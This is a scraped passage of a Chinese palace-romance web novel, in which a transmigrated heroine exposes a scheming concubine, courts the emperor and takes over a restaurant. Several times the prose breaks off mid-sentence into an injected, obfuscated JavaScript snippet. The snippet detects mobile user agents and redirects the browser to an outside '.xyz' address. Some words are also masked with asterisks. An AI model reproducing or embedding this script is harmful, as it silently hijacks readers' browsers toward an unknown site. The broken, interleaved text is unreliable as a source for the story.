姜绾歌不疾不徐地行礼,发间银钗映着窗外照进来的天光:王爷来得正好。 她指尖轻点那本朱批账册,柳妹妹这半年来支取的银两,倒有七成进了赌坊老板的腰包。 你胡说!柳盈盈染着蔻丹的指甲深深掐进掌心,那些银子明明都用在...… 用在给周姨娘下药?姜绾歌突然截住她的话头,从袖中抖出一张泛黄药方, 王婆子今早画押的供词里,可清清楚楚写着这方子是谁给的。药方右下角,一点朱砂印记如凝固的血珠。 王爷突然伸手夺过药方。他记得一年前周姨娘小产后,太医曾说那脉象像是误食了寒凉之物。 当时柳盈盈还陪着他彻夜守在病榻前...… 还有这个。姜绾歌又取出一叠飞钱票据,赵四每次在赌坊输钱,隔日钱庄必定有人持王府对牌取现。 她翻开其中一张,指着背面小字:这笔记的可是柳妹妹的贴身丫鬟秋菊。 柳盈盈突然扑向那些票据,却被王爷一把攥住手腕。 她这才发现,那双常为她描眉的手此刻力道大得骇人。 王爷!她声音发颤,您宁可信这些伪造的... 伪造?姜绾歌轻笑,忽然击掌三下。 厅外立刻传来铁链拖地的声响,两个婆子押着个蓬头垢面的老妇进来。王婆子一见到柳盈盈就瘫跪在地:姨娘饶命啊!老奴实在受不住刑了... 柳盈盈脸上血色瞬间褪尽。她认得王婆子缺了半截的小指——那是当年为表忠心,自己亲手用剪子铰下的。 满座女眷的抽气声中,王爷突然松开柳盈盈。 他拾起地上那封赵四的欠条,上面以王府东郊田产为抵的字迹墨渍犹新。 盈盈。他声音轻得可怕,上月你跟我说需要修缮祖坟,支走的那三千两... 柳盈盈的膝盖重重磕在青砖上。 她突然想起前几日日表兄炫耀新得的翡翠扳指时,曾醉醺醺地说反正你男人钱多…… 冷汗顺着她脊背往下淌,在石榴裙上洇出深色痕迹。 王爷明鉴!她突然抱住王爷的腿,是赵四那杀千刀的哄骗妾身... 玄色**纹袍角猛地从她指间抽离。王爷转身时,玉佩穗子扫过她涕泪纵横的脸。 王爷明鉴! 柳盈盈突然扑跪上前,十指死死攥住王爷的**纹袍角,精心养护的指甲在锦缎上刮出丝缕,是赵四那杀千刀的哄骗妾身...他说、他说这是最后一次... 她仰起脸,让泪水冲开胭脂,露出底下苍白的本色。 王爷的手指微微一动——这是柳盈盈最熟悉的心软前兆。 她立刻膝行半步,将脸贴在他手背上:您记得吗?去年元宵妾身为您熬的那碗杏仁茶...… 她感觉到掌下的肌肉有一瞬松弛,立刻乘胜追击,那夜您说... 玄色袍角突然从她指间抽离,力道大得扯断了她两根指甲。柳盈盈茫然看着自己空荡荡的掌心,一缕血丝正从甲床渗出。 来人。王爷的声音像淬了冰的刀。 不!柳盈盈突然暴起,发疯似的去抓王爷腰间玉佩——那是她去年亲手编的穗子。 侍卫们一拥而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777433|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上时,她竟一口咬住其中一人的手腕,在惨叫声中挣脱出来:您不能这么对我! 她嘶吼着扯开衣领,露出锁骨处那枚月牙形疤痕,当年刺客那一箭,是谁替您挡的?! 满座哗然中,王爷的背影几不可察地晃了晃。 柳盈盈的话像一把锋利的**,狠狠刺进他的记忆。 那夜刺客的冷箭破空而来,她毫不犹豫地扑上前,鲜血浸透她的衣衫,而他在她床前立誓:“此生必不负你。” 他的指尖微微蜷缩,几乎就要转身。 可就在这时,姜绾歌的声音轻轻响起,如冷泉般将他从恍惚中拉回。 “王爷,当年她替您挡箭,您怜她护她,可她却用这份恩情,去害别人。” 她的目光落在那张王婆子的供词上,“周姨娘的孩子没了,至今身子都未养好。” 王爷的呼吸一滞。 是啊,他曾以为柳盈盈柔弱良善,可如今看来,她的眼泪、她的娇弱,甚至她为他流的血……都成了她肆意妄为的筹码! 他闭了闭眼,再睁开时,眸底最后一丝动摇已被冷硬取代。 “堵上嘴。”他的声音比先前更沉,更冷,像是要把所有过往的怜惜一并斩断。 柳盈盈眼中的光骤然熄灭。 她不可置信地望着他,仿佛在看一个陌生人。 他竟真的……不再心软了? 侍卫上前,粗鲁地塞住她的嘴,拖着她往外走。 她的金钗掉落在地,碎成两截,就像他们之间那些曾经温存的誓言,终究成了笑话。 王爷没有回头。 他只是站在原地,袖中的手攥得死紧,指甲深深嵌入掌心。 疼。 但比起此刻心里的冷,这点疼,又算得了什么? 柳盈盈被拖出门槛的刹那,王爷袖中的手终于松开,一滴血珠悄然坠地,哑声道:这些年,本王竟养了条毒蛇在枕边。 院外传来柳盈盈最后的呜咽,像垂死的雀儿。 姜绾歌轻抚案上账册,温声道:毒蛇拔了牙,终究只是草绳罢了。 第45章 心乱如麻 姜绾歌满不在乎地摆摆手:“他若有怨,也是他自己糊涂,一味偏袒柳盈盈。再说了,我占着理呢,还怕他不成?今日我这么一闹,往后王府里那些心怀不轨的人,想必也得掂量掂量。” 姜绾歌说着,突然凑近顾明轩,打趣道:“皇上,您说您大晚上特意跑来,是不是担心我被王爷欺负,所以来给我撑腰的呀?” 顾明轩脸色微微一红,佯装严肃道:“休要胡说,朕只是顺道来看看王府局势,顺便提点提点你,莫要以为做了件事就万事大吉,往后行事还是要收敛些。” 姜绾歌捂着嘴偷笑,故意做出一副委屈的模样:“我看皇上不是来提点我的吧?你来是想知道兵力图的进展吧?” 顾明轩一听,立马矢口否认:“简直荒谬,朕岂会为了兵力图之事特意来此。” 言罢,他神色略显不自然,连忙走到桌子旁,拿起一块点心放入口中,试图以此掩饰自己的心虚。 姜绾歌看着他这般模样,忍不住偷笑,却也不打算揭发他,反而顺着话头主动说道:“皇上,您既然来了,那我便跟您说说。如今解决了柳盈盈这个麻烦,我在王府行动也方便许多,偷取兵力图应该能多几分机会。” 顾明轩心中一动,表面却依旧镇定,他不敢过于急切地催促姜绾歌:“是吗?朕只是随便问问。对了,朕为你准备的黄金地段药铺,应该快落实了。” 说完,他看似不经意地偷偷瞥向姜绾歌,观察她的反应。 姜绾歌微微一怔,脸上笑意更浓,眼中满是戏谑,凑近顾明轩,娇嗔道。 “皇上,您瞧瞧,您这转移话题的功夫越发娴熟啦。我又不是三岁孩童,您故意提起药铺的事,不就是在暗示我,要是我能尽快拿到兵力图,这药铺才会妥妥地落到我手里嘛。您放心,我心里跟明镜儿似的。” “您这一招,就好比给马儿前面挂了个胡萝卜,想着马儿为了吃到胡萝卜,能跑得更快些。不过皇上,您得给我透个底,这兵力图对您究竟有多重要呀,值得您用这么好的药铺来‘激励’我。” 顾明轩被她这番直白的打趣弄得有些窘迫,佯装严肃道:“休要胡言,朕只是关心你的处境,药铺之事与兵力图并无关联。只是你若能顺利拿到兵力图,那是大功一件,朕自然不会亏待你。” “那药铺地处黄金地段,往来人流量大,只要经营得当,收益定然丰厚,会是你今后的一大助力。” 姜绾歌眼睛一亮,笑嘻嘻地说:“皇上,您就别再掩饰啦。不过既然您都这么说了,我肯定全力以赴。只是这王府守卫森严,要拿到兵力图并非易事,皇上您能不能给我支支招呀?” 顾明轩看着她古灵精怪的模样,无奈地摇摇头,眼中却满是宠溺:“你呀,机灵劲儿倒是用对了地方。王府之中情况复杂,你需谨慎行事。” “我估计王爷近日书房守卫有所变动,你可留意一二,说不定能寻到机会。只是一切以自身安危为重,若遇到棘手之事,切不可逞强,及时告知朕便是。” 姜绾歌眼睛一眯,笑道:“哟,皇上这指点,我可算是接住啦。放心,有了您这话,我心里透亮着呢,保管把事儿给您办得妥妥当当。” “不过要是过程中出了岔子,皇上您可得给我兜底。” 顾明轩无奈地笑了笑,抬手轻轻弹了一下姜绾歌的脑门,笑骂道:“你这鬼灵精,就会跟朕讨价还价。” 姜绾歌被弹了脑门,不服气地鼓起腮帮子,伸手就要去揪顾明轩的衣袖,嘴里嘟囔着:“皇上您还弹我,看我怎么‘收拾’您。”说着,便张牙舞爪地朝顾明轩扑过去。 顾明轩侧身一闪,轻巧地躲开了姜绾歌的“攻击”,还故意逗她:“来呀,看你能不能抓到朕。” 姜绾歌哪肯罢休,眼睛紧紧盯着顾明轩,像只灵活的小兽,再次扑上前去。 两人就在这不大的房间里追逐打闹起来。 姜绾歌瞅准时机,一个箭步冲上去,眼看就要抓住顾明轩,却没注意脚下的裙摆,被自己的裙子绊了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777435|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下,整个人向前扑去。 顾明轩见状,脸色瞬间一变,想也没想,急忙伸手去扶姜绾歌。 可姜绾歌冲势太猛,顾明轩虽接住了她,却没能稳住身形,两人一同向后倒去。 “砰”的一声,顾明轩背部着地,当了姜绾歌的肉垫。 慌乱间,姜绾歌前倾的身子失去平衡,整个人朝着顾明轩直直扑下。 她下意识地伸手乱抓,试图稳住身形,却不想嘴唇就这么毫无预兆地擦过顾明轩的嘴唇。 刹那间,姜绾歌只觉一股温热柔软的触感从唇上传来,那触感如羽毛轻扫,却又似带着电流,瞬间让她全身一僵。 她的双眼猛地瞪大,眼中满是惊愕,呼吸也在这一瞬间戛然而止。 鼻尖萦绕着顾明轩身上淡淡的龙涎香,那味道此刻却仿佛浓烈了几分,搅得她心乱如麻。 耳中只听得见自己如擂鼓般的心跳声,“咚咚咚”,震得她几乎失了神。 这不经意的触碰,如同一颗投入心湖的石子,瞬间激起千层浪。 顾明轩同样浑身一震,姜绾歌嘴唇的柔软与温热,如一道电流直击心底。 他的双眼瞪大,直直地看着近在咫尺的姜绾歌,眸中满是复杂的情绪。 呼吸变得急促而紊乱,温热的气息喷洒在姜绾歌的脸颊上。 手臂不受控制地用力,将姜绾歌紧紧箍在怀中,掌心感受着她背部的起伏,似乎想借此确认这不是梦境。 姜绾歌率先回过神来,一股滚烫的热意从耳根迅速蔓延至整张脸,她觉得自己的脸像是着了火一般。 她猛地瞪大双眼,眼神中满是慌乱与羞赧,像一只突然遭遇危险的小鹿。 她双手用力撑在顾明轩胸膛,猛地一发力,从顾明轩身上蹦起来。 顾明轩看着姜绾歌迅速起身,心中竟涌起一丝失落。 那不经意间嘴唇的擦过,像是一把火,撩拨起他心底丝丝缕缕的欲念,他竟觉得那样的触碰远远不够。 第46章 他的龙涎香 姜绾歌因着极度害羞,慌慌张张转身,却没留意身后的柱子,“咚”的一声,额头结结实实撞了上去。 她吃痛地“哎哟”一声,伸手捂住额头。 顾明轩脸色骤变,一个箭步冲过去,从袖中取出一方绣着松竹的素帕,轻轻按在她泛红的额角,指尖触到她肌肤时微微发颤:“怎么这么不小心?这柱子若是会说话,怕也要心疼你这一撞。” 他的目光紧紧锁住姜绾歌的额头,只见光洁的额头上泛起淡淡红晕,像春日里初绽的桃花苞。 他心疼得眉头紧皱,忽然解下外袍披在她肩头,布料上还带着他身上的温热:“你呀,总像只受惊的小鹿,莽撞得让人心慌。” 说罢,他屈指轻叩廊下铜灯,暖黄的光晕里,指尖掠过她垂落的发丝,动作轻柔得如同春风拂过琴弦。 姜绾歌只觉肩头一沉,裹挟着龙涎香的暖意将她裹住,那气息顺着鼻端钻进心尖,惹得她心跳陡然加快。 她微微颤抖着,嗫嚅道:“都……都怪你。”声音小得如同蚊蚋,却在夜色里格外清晰。 顾明轩的目光紧紧锁在她身上,像是怕她下一秒就会被夜风卷走。 此刻的她,脸颊绯红如霞,眼中波光流转,睫毛在眼下投出细碎的阴影,像振翅欲飞的蝶。 这般模样,让顾明轩心中那原本压抑的情愫如破土的春芽,在月光下疯长。 他抬手将她耳畔碎发别到耳后,指腹擦过她发烫的耳垂,轻声道:“怪朕,怪朕让你慌了神。” 姜绾歌能感觉到他指尖的温度,像春日里融化的雪水,清润而温柔。 她的心好似一只扑棱棱的蝴蝶,在胸腔里撞得生疼。 忽然,廊外夜风掠过,檐下铜铃发出细碎的清响,惊起枝头宿鸟。 顾明轩下意识将她往自己身边带了带,袖摆扫过石桌上的茶盏,发出轻响。 两人同时屏息,目光相撞,又迅速错开。 姜绾歌盯着他腰间玉佩上垂下的流苏,见那穗子在夜风里轻轻晃动,忽然想起方才他替她按额头时,指尖在帕子下的颤抖。 她鼓起勇气抬头,却撞进他深如墨潭的眼眸里,那里盛着她从未见过的温柔,像深潭里倒映的月光。 顾明轩忽然伸手,替她理了理被风吹乱的衣领,指节擦过她锁骨上方的肌肤,却比鸿**还要轻:“夜凉了,明日记得让膳房煮些莲子羹,去去瘀气。” 姜绾歌看着他垂眸时眼下的阴影,忽然想起他批改奏折到子时的模样,鬼使神差道:“皇上今日又批折到丑时?” 顾明轩一愣,眼中闪过暖意:“你怎知道?” “前几日见你指尖有墨渍,今日……”她忽然意识到自己说得太多,耳尖发烫,低头盯着他绣着暗纹的靴面,“总之皇上该早些歇息。” 顾明轩低笑一声,笑声里带着几分宠溺:“朕往后定当听你的话,早些歇息。” 夜风送来远处的更鼓声,已是三更天。 姜绾歌轻轻推了推他的手臂,触到他袖下坚实的肌肉,又像被烫到般缩回手:“皇上该回宫了,明日还要早朝。” 顾明轩却没有动,从袖中取出一个锦盒,里面是一支累丝嵌珍珠的步摇,在灯下泛着温润的光:“见你总用绢带束发,便让人打了这个。” 姜绾歌指尖抚过珍珠,凉丝丝的触感让她想起他方才替她揉额头的温度:“太贵重了……” “在朕眼里,你比这世上所有珍宝都贵重。”他轻声道,声音里带着几分沙哑,“可愿让朕替你戴上?” 她微微颔首,垂眸时,发间已传来他指尖的温度。 步摇稳稳别在发间,他的指尖划过她后颈的碎发,却很快收回。 “这样甚好,”他退后半步,目光温柔得能滴出水来,“比朕想象中还要好看。” 姜绾歌摸了摸发间的步摇,忽然想起什么,从腕间褪下一串菩提子手串塞进他掌心:“这是我前些日在静安寺求的,皇上戴着……许能安神。” 顾明轩看着她耳尖的红意,将手串牢牢攥在手心,仿佛握住了整个春天:“好,朕日日戴着。” 远处传来巡夜的梆子声,姜绾歌走到窗边,推开窗扇,月光瞬间倾泻而入,在她衣摆上织出银线:“皇上快些走吧,莫要误了正事。” 顾明轩走到窗前,却在跃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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姜绾歌撞进软榻,抬头正撞见他半跪在地,将珍珠重新别回步摇。 烛火在他侧脸投下明暗交错的光影,他突然伸手捂住她嘴,指腹轻轻按在颤抖的唇上。 脚步声远去后,顾明轩松开手,却没起身。两人近得能听见彼此心跳,他突然抓起她手腕,在虎口处重重一吻。 姜绾歌还未惊呼,他已翻身跃出窗外,只留下酒壶里袅袅升起的热气,在冷夜里渐渐消散。 第47章 跟古代皇帝谈恋爱 顾明轩一走,姜绾歌整个人还飘着,脚底下跟踩着棉花似的,走两步差点被自己绊倒。 她慢悠悠蹭到床边坐下,嘴角压都压不下去,脸热得能煎鸡蛋。 “靠,我这是被古代霸总拿下了?”她摸了摸自己发烫的脸,小声嘀咕。 她一个二十一世纪穿来的社畜,怎么就跟这古代皇帝搞上对象了? 现代那些相亲饭局上,男的开口就是年薪房子,女的暗地里比着包包口红,谈个恋爱跟菜市场砍价似的。 她闺蜜还总说:“爱情?那玩意儿早绝种了,现在都是等价交换。” 可顾明轩这老古董倒好,撩起人来一套一套的——刚才那个吻凶得跟要吃了她似的,结果嘴唇碰到一起又软得不行,活像嘴里化了块桂花糖,甜得她脑子发懵。 姜绾歌翻了个身,把脸埋进被子里,闷闷地笑出声。 要命了,这感觉比大学时和篮球队长偷摸谈恋爱还刺激。 那时候牵个手都心跳加速,现在倒好,直接被皇帝按在墙上亲,亲完人家还一脸淡定地整理衣襟,仿佛刚才那个恨不得把她揉进怀里的人不是他。 “白天在朝堂上板着脸训人,晚上搂我细腰的手法倒是挺熟练哈?” 她小声吐槽,手指无意识地摩挲着嘴唇,上面似乎还残留着他的温度。 窗外月光漏进来,照得床幔影影绰绰。她翘着脚晃啊晃,脑子里全是顾明轩那双深得能把人吸进去的眼睛。 他看她的时候,总有种奇怪的专注,好像全世界就剩她一个值得他认真对待的东西。 这种被全心全意盯着的感觉,在现代可太难得了。毕竟大家手机不离手,聊天都像在敷衍。 “管他什么穿越不穿越的,先把这个极品男人睡了再说!” 她一把扯过被子蒙住头,笑得肩膀直抖。反正来都来了,不享受一下古言女主的待遇岂不是亏大了? 不过……她突然从被子里探出头,皱起眉头。 “等等,这剧情怎么越看越像会被虐的节奏?” 按照套路,接下来是不是该有白月光、宫斗、误会? “啧,不管了。”她翻了个身,四仰八叉地摊开,“虐就虐吧,至少现在甜过。” 早朝之上,群臣奏事完毕,顾明轩环视众人,缓缓开口道:“近日,朕听闻不少府邸内宅不宁,家风败坏之事。” “这内宅之乱,看似小事,实则影响深远。诸位爱卿,皆身负家国重任,若连自家后院都无法打理妥当,又如何能全心为朕分忧,为百姓谋福?” 众大臣一听,纷纷低头,心中揣测皇上所指何人。 顾清舟心中更是“咯噔”一下,隐隐觉得皇上这话意有所指,联想到昨日王府之事,不禁后背发凉。 早朝结束,太监让顾清舟留下来。 待众人散去,顾明轩看着顾清舟,脸色一沉,冷冷道:“皇弟,朕听闻昨日王府之中闹得沸沸扬扬,柳妾室做出诸多恶行,你竟一无所知?王府家风如此,你该当何罪?” 顾清舟赶忙跪地,惶恐道:“皇上息怒,臣弟确实疏忽,未能察觉柳盈盈的恶行,是臣弟治家无方,恳请皇上降罪。” 顾明轩冷哼一声:“降罪事小,若因此影响了王府上下,乃至朝廷风气,那才是大事。” “朕本不应该管你的家事,但是你的家事一夜之间传得满京城都是,你代表的是皇室,现在出了这种事,你让朕乃至整个皇室的颜面何存?” 顾清舟听闻,身子猛地一颤,头愈发低了下去,几乎要贴到地面,声音带着明显的颤抖说道:“皇上赎罪,是臣弟考虑不周,未能约束好内眷,致使此等丑事外传,让皇室蒙羞。臣弟罪该万死,愿任凭皇上处置,只求能挽回皇室些许颜面。” 说着,他又重重地磕了几个响头,额头与地面碰撞发出的闷响,在寂静的朝堂格外清晰。 “回去之后,好好整顿家风,莫要再让朕听到此类丑事。”顾明轩点到为此。 顾清舟连忙磕头:“臣遵旨。”他跪在冰凉的地砖上,后背的衣服全被冷汗湿透。 皇帝敲了敲桌子,每一下都像锤子打在他心上。他知道皇帝能随时拿掉他的爵位,让他全家荣耀扫地,甚至可能用御赐的宝剑要他性命。 昨晚小妾**的消息,此刻像根刺扎在他脖子上。 他突然想起以前有位皇叔说错话,被关起来直到死,子孙也成了平民。 地砖的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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顾明轩微微点头,重新坐回龙椅,拿起那份被墨汁溅染的奏折,看似在审阅,心思却仍在姜绾歌身上。 他想到姜绾歌在王府可能还会面临其他刁难,眉头不禁再次皱起。 “去,盯着王府。”顾明轩对大太监吩咐道,“若有人再敢刁难王妃,即刻来报。” 第48章 醉仙楼营业 栖凤阁,姜绾歌从妆奁底层抽出一张泛黄的京城舆图。 手指沿着东市繁华地段划过,在醉仙楼所在的朱雀大街重重画了个圈。 烛火映得她眼底发亮,就像发现了新大陆的冒险家——这可是她穿越以来,第一次真正拥有自己的势力范围。 晌午,姜绾歌便带着两个心腹丫鬟青柠绿竹出现在醉仙楼后门。 掌柜的揉着眼睛来开门,见是王妃,忙不迭要下跪:王妃万安...... 免礼。姜绾歌直接跨进门槛,从今日起,醉仙楼所有账本都要经本妃过目。 她随手掀开柜台上的账册,扫过密密麻麻的蝇头小楷,突然指着某处冷笑:柳姨娘每月拨二十两给城东妙音坊?这是什么规矩? 掌柜的额头沁出冷汗:回王妃,这是柳姨娘的例银...... 例银?姜绾歌指尖重重敲在账本上,我倒要查查,这例银到底进了谁的腰包。 她转身吩咐丫鬟,去把柳姨娘身边的翠环叫来,就说我要核对醉仙楼这半年的出入账。 掌柜的看着姜绾歌雷厉风行的做派,暗自咋舌。这新王妃哪里是来管酒楼,分明是来翻旧账的。 果不其然,不出三日,醉仙楼上下便传遍了消息:王妃把柳侧妃安插的眼线全部撤换,连厨房掌勺的李师傅都被查出每月多领五两银子。 王妃,这是柳姨娘在醉仙楼的私账。丫鬟捧着个檀木匣子进来,翠环招认,侧妃娘娘每月从酒楼抽成三成,都用来给表兄还赌债了。 姜绾歌翻开账册,果然每页都有用朱砂圈出的数目。 她指尖划过那些猩红印记,突然轻笑出声:好个柳盈盈,倒是会慷他人之慨,王府再这样下去不垮了才怪。 当天下午,醉仙楼二楼雅间里,姜绾歌设宴宴请京城各大商行掌柜。 她举杯环视众人:今日请诸位来,是想商议醉仙楼重新开张之事。 王妃说笑了,醉仙楼不是一直在营业么?绸缎庄王掌柜赔笑。 那是以前。姜绾歌指尖叩着青花瓷杯,从下月起,醉仙楼将推出"日进斗金"新玩法——每日正午拍卖一道神秘菜品,价高者得。 此言一出满座皆惊。米铺张掌柜忍不住问:菜品也能拍卖? 自然。姜绾歌嫣然一笑,第一道拍卖的,便是失传已久的"凤凰三点头"。 她故意停顿,看着众人露出好奇神色,当年唐玄宗为博杨贵妃一笑,命御膳房研制的名菜,诸位可曾耳闻? 三日后开业大典,醉仙楼前车水马龙。 姜绾歌站在二楼回廊,看着楼下乌泱泱的人群,朝后厨使了个眼色。 两个小厮抬着食盒上楼,揭开瞬间异香扑鼻。 这道菜,她夹起金黄酥脆的鸡肉,选用三斤嫩母鸡,用二十四种香料腌制三日,再用荔枝木文火慢烤...... 我出五百两! 六百两! 竞价声此起彼伏。姜绾歌看着不断攀升的价码,心中暗喜——这哪是什么御膳秘方,分明是前世在五星级酒店当主厨时的拿手菜。 最终凤凰三点头以三千两成交,她当众将银票交给城南孤儿院院长。 当天夜里,姜绾歌在后厨召见几个伙计:从明日起,收集各桌客人谈话。 她压低声音,官员富商的动向,鸡毛蒜皮都要记下来。 伙计们面面相觑,其中一个壮着胆子问:王妃,这是要做什么? 姜绾歌神秘一笑:我要让醉仙楼成为京城消息最灵通之地。她掏出银票,这些是订金,事成另有重赏。 暮春时节,京城细雨绵绵。 顾明轩换了身靛青长衫,戴顶青纱小帽,只带了个贴身侍卫,悄然出了宫。 朱雀大街的石板路上泛着水光,他望着“醉仙楼”三个鎏金大字,嘴角不自觉勾起。 二楼靠窗的位置,姜绾歌正与绣庄掌柜谈着新菜式推广。 她今日穿了件月白交领襦裙,腰间系着鹅黄宫绦,愈发显得亭亭玉立。 顾明轩在角落坐下,要了壶碧螺春,目光却始终在她身上打转。 “王掌柜,这翡翠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777438|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虾仁的摆盘……”姜绾歌忽然站起身,将手中玉筷轻轻一挑,盘中虾仁竟摆出朵莲花形状。 绣庄掌柜连声赞叹:“王妃这巧思,真乃天人也!” 顾明轩抿了口茶,眼底泛起笑意。 他看着姜绾歌指挥伙计重新布置雅间,将原本的雕花屏风换成了透明琉璃,既保隐私又透光。 有位客人抱怨汤羹太咸,她亲自端着汤碗进了厨房,片刻后端出改良版,还附赠了一碟精致点心。 “这位公子,您的菜。”店小二将一盘松鼠桂鱼摆在顾明轩面前。 他尝了口,鱼肉外酥里嫩,酸甜适口,比御膳房的厨子做得还妙。 正赞叹间,忽见姜绾歌抱着个木匣子匆匆下楼,发丝间沾着些面粉。 “掌柜的,这是新研制的玫瑰茯苓糕配方,你照着做。” 她边说边从匣子里取出张纸,“火候要控制在……” 话音未落,楼下突然传来争吵声。 顾明轩皱眉望去,只见两个锦衣公子正拉扯着个小丫头。 姜绾歌快步上前,冷声喝道:“光天化日之下,竟敢在醉仙楼**?” “我们在自家酒楼消遣,关你何事?”其中一人醉醺醺地说。 姜绾歌冷笑:“这醉仙楼如今是我的产业,容不得你们撒野。” 她转身吩咐伙计,“去请京兆尹来评评理。” 那两人见势不妙,灰溜溜地走了。 顾明轩看着姜绾歌安抚小丫头,眼中满是赞赏。 小丫头抽噎着谢过姜绾歌,抹着眼泪退下。 顾明轩收回目光,继续慢条斯理地品茶。看着姜绾歌穿梭在大堂与后厨之间,时而指点菜式摆盘,时而与客人谈笑风生,举手投足间皆是自信从容。 他默默将桌上松鼠桂鱼吃得干净,又添了两道新菜。 直到暮色渐浓,见她终于得闲坐下歇息,才悄然放下银锭,在雨声中离开了醉仙楼。 离开前最后一眼,落在她揉着眉心翻看账本的侧影上,嘴角不自觉扬起。 第49章 反客为主 顾明轩在回宫的轿辇在雨巷中颠簸,车帘外的雨丝斜斜掠过,他忽然觉得这雨幕像极了她那未绾紧的青丝。 皇上在看什么?贴身太监福海顺着他的目光望去,只看到雨帘中朦胧的街景。 顾明轩猛地回神:没什么。 轿辇行至宫门口时,福海突然开口:皇上,奴才听说醉仙楼新出的玫瑰茯苓糕极是美味。见皇上不语,他又道:不如今晚让御膳房...... 不必。顾明轩打断他,朕要批阅奏折。话虽如此,指尖却在龙案上叩出急促的鼓点。 福海暗自好笑,自家皇上分明是想那位王妃想得紧,偏要端着架子。 戌时三刻,养心殿烛火通明。 顾明轩盯着面前的《户部呈报表》,朱笔悬在半空许久,落下时却在醉仙楼三个字上画了个圈。 福海见状,适时捧着药碗进来:皇上,该喝安神汤了。 放下。顾明轩烦躁地推开账册,去看看......他突然顿住,别过脸咳嗽两声,去看看宫外有没有新送来的密报。 福海憋着笑退下,片刻后回来禀道:启禀皇上,醉仙楼今日查获两起官员**案。他故意将醉仙楼三个字咬得极重,王妃娘娘说...... 说什么?顾明轩猛地抬头。 说......福海挠挠头,说皇上若是得空,不妨去尝尝新出的蟹粉狮子头。 顾明轩嘴角微抽,这丫头分明是在调侃他。他霍然起身,广袖扫落案上玉镇纸:朕倒要看看,她到底在搞什么名堂。 亥时,紫禁城西北角的宫墙上,一道黑影敏捷翻出。 顾明轩踩着青石板路,望着醉仙楼透出的暖黄灯光,心跳莫名加快。 刚走到后门,就见姜绾歌端着食盒出来,发丝间还沾着面粉。 皇上怎么来了?她显然吃了一惊。顾明轩轻咳一声:朕......朕来查探赌坊余孽。 姜绾歌似笑非笑:赌坊余孽?巧了,我正打算给皇上送宵夜呢。 她掀开食盒,热气腾腾的蟹粉狮子头香气扑鼻。 顾明轩喉结滚动,却板着脸道:朕不过顺路...... 话未说完,姜绾歌突然踮脚吻住他的唇。 清甜的桂花香混着蟹肉的鲜美在舌尖蔓延,顾明轩浑身一僵,随即反客为主加深这个吻。 直到怀中娇躯轻颤,他才意犹未尽地松开,哑声道:下次不许这般大胆。 姜绾歌轻笑,将食盒塞进他怀里,皇上慢用。 顾明轩干咳两声,从袖中掏出个檀木匣子:同世堂的地契。 他避开她探究的目光,朕只是觉得...... 觉得我经营酒楼需要药材?姜绾歌指尖划过烫金印鉴,突然凑近他耳畔,还是说......她故意拖长尾音,皇上想我了? 顾明轩耳尖瞬间通红,猛地攥住她手腕按在栏杆上:朕只是来监督你完成任务! 可掌心的温度却出卖了他,将她冰凉的指尖焐得发烫。 姜绾歌眼波流转,指尖在他掌心画着圈:那皇上打算怎么监督? 她抽出被他握住的手,从匣中取出地契晃了晃,这算不算提前支付报酬? 顾明轩喉结滚动,忽然将她抵在廊柱上。 烛火映得他眼底情欲翻涌,却偏要板着脸:朕只是怕你太过辛劳。 姜绾歌轻笑出声,指尖划过他滚烫的耳垂:皇上心跳得好快呢。 她忽然踮脚贴近他唇畔,要是被御史台知道九五之尊......话未说完,唇上一痛。 顾明轩狠狠咬住她下唇,血腥味在舌尖蔓延:他们要是敢**,朕就把他们发配到漠北种枸杞。 他忽然抱起她转了个圈,姜绾歌的笑声惊飞了檐下栖鸟。 福海举着灯笼站在角落,无奈地看着自家皇上像个毛头小子般抱着王妃胡闹。 远处传来梆子声,戌时三刻——这已经是本月第四次微服私访了。 回宫路上,顾明轩抱着食盒,嘴角始终上扬。 福海远远跟着,暗自摇头——皇上这口是心非的毛病,怕是这辈子都改不了了。 深夜, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 